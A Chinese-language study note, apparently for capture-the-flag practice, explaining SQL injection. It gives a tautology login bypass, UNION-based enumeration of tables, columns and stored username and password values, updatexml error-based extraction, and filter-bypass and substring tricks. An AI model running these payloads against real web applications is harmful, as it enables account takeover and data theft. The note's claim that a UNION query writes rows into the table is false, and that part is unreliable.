SQL架构
我们可以认为SQL有四层,自顶向下为:数据库,数据库中所含的表,表中的列,列中储存的内容。
一个数据库中有多个表,每一个表由若干行和列组成,列储存的是属性名称,而行储存的是内容。
基础知识
version()
在一些支持的数据库发行版下可以拿到相关版本号,对于搜索历代CVE拿来打很有用处。database()
获取当前在查询的数据库名称。information_schema
是一个在版本大于5.0后默认存在的数据库,在我们利用的时候提供了非常大的用处。group_concat
是一个把多个字符合成一个字符的方法,毕竟泄露的时候一般只能从一个字符的位置泄露出来。
利用思路
database()
获知当前数据库名称group_concat(table_name) from information_schema.tables where table_schema=database()
获取当前数据库中所有的表的名称group_concat(column_name) from information_schema.columns where table_name='your_table_name'
获取一个表中所有列的名称group_concat(id, username, password) from your_table_name
获取id, username, password
这些列中储存的值
经典万能密码
1 | 1' or '1'='1 |
常见过滤与绕过方法
- 空格过滤:套一个括号,如
select A from B
变成select(A)from(B)
- 双写绕过
利用方法
union
查询
经常直接跟在输入的后面,就像这样:password=1' union select ... #
就会产生select password from table where password = '1' union select ... #'
最后的引号要用井号注释掉,这样才不会产生语法错误。
另,union
查询查询到并不存在的内容时,会创建出相应的内容出来,也就是写进了表中。
updatexml
报错
原理是在updatexml
使用过程中,第二个参数是元素的xpath,查找不到元素不但不会abort掉,还会把原本的经过解析过的参数通过报错信息输出出来。
1' or updatexml(1, concat(0x7e, (your_input), 0x7e), 1) #
不过报错信息有点短,可以通过left(str, 25)
和right(str, 25)
的方法分别把左右两部分输出出来拿flag。
相似的常用的截取函数有:
mid(column_name, start[, length])
填入字段,规定从start
处开始的length
个字符读出来(这里的start
下标从1开始)substr(str, start, length)
用法类似,下标也是从1开始left(str, n)
与right(str, n)
,分别查看前n位和后n位
此外出现诸如flag
被绕过的情况,可以用CHR()
来表示一个个字符再用加号concat起来就行了。与CHR
对应的是ORD
,跟python的名字一样。